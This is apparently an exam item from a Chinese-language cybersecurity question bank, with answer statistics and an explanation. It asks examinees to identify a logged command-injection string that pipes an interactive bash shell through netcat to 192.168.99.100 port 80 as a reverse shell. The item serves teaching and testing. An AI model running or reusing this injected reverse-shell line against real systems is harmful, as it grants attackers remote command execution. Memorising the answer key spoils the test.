35. 【題組 4】情境如附圖所示。請問「127.0.0.1; /bin/bash -i 2>&1 | nc 192.168.99.100 80 > /tmp/tmp.txt」這個日誌的內容,可能代表下列何種攻擊情境?(請選擇最合適的選項。)
(A) 攻擊者想要勘查 192.168.99.100 的 80 port 是否可進行 連線,可以連線就可以讀取更多網頁內容
(B) 攻擊者想要讀取 /bin/bash 這個檔案內容,並且把結果輸出到 /tmp/tmp.txt 裡面
(C) 攻擊者想要透過 nc 進行反向連線,讓 192.168.99.100 這台電腦可以對伺服器輸入指令
(D) 攻擊者想要讀取作業系統的版本資訊,並且尋找有無可利用的漏洞直接對作業系統進行攻擊
統計: A(5), B(16), C(31), D(5), E(0) #3536981
詳解 (共 2 筆)
答案: (C) 攻擊者想要透過 nc 進行反向連線,讓 192.168.99.100 這台電腦可以對伺服器輸入指令
說明(逐段解析)
日誌中的命令:
/bin/bash -i 2>&1 | nc 192.168.99.100 80 > /tmp/tmp.txt-
/bin/bash -i:啟動互動式 shell(interactive bash)。
-
2>&1:將標準錯誤(stderr)合併到標準輸出(stdout),確保所有輸出都會被傳送。
-
| nc 192.168.99.100 80:把 shell 的輸出透過 netcat(nc)傳到遠端主機 192.168.99.100 的 80 埠,等於把伺服器端的 shell 與遠端連線綁在一起,遠端就能送回指令並執行——典型的**反向殼(reverse shell)**手法。
-
> /tmp/tmp.txt:將(可能的)輸出或暫存寫入 /tmp/tmp.txt(可能是記錄或偷藏回傳資料)。
因此這行命令最符合「建立反向連線/遠端控制」的情境,選 (C)。
為何其他選項不正確
-
(A) 只是檢查 192.168.99.100:80 是否可連線,不需要啟動互動式 bash 並 pipe 到 nc。
-
(B) /bin/bash 並非一般「可讀取的檔案內容」目標;且命令是執行 shell 並連線,不是單純 cat /bin/bash > /tmp/tmp.txt。
-
(D) 查作業系統版本通常用 uname -a、/etc/os-release 等,與此動作(建立反向 shell)不符。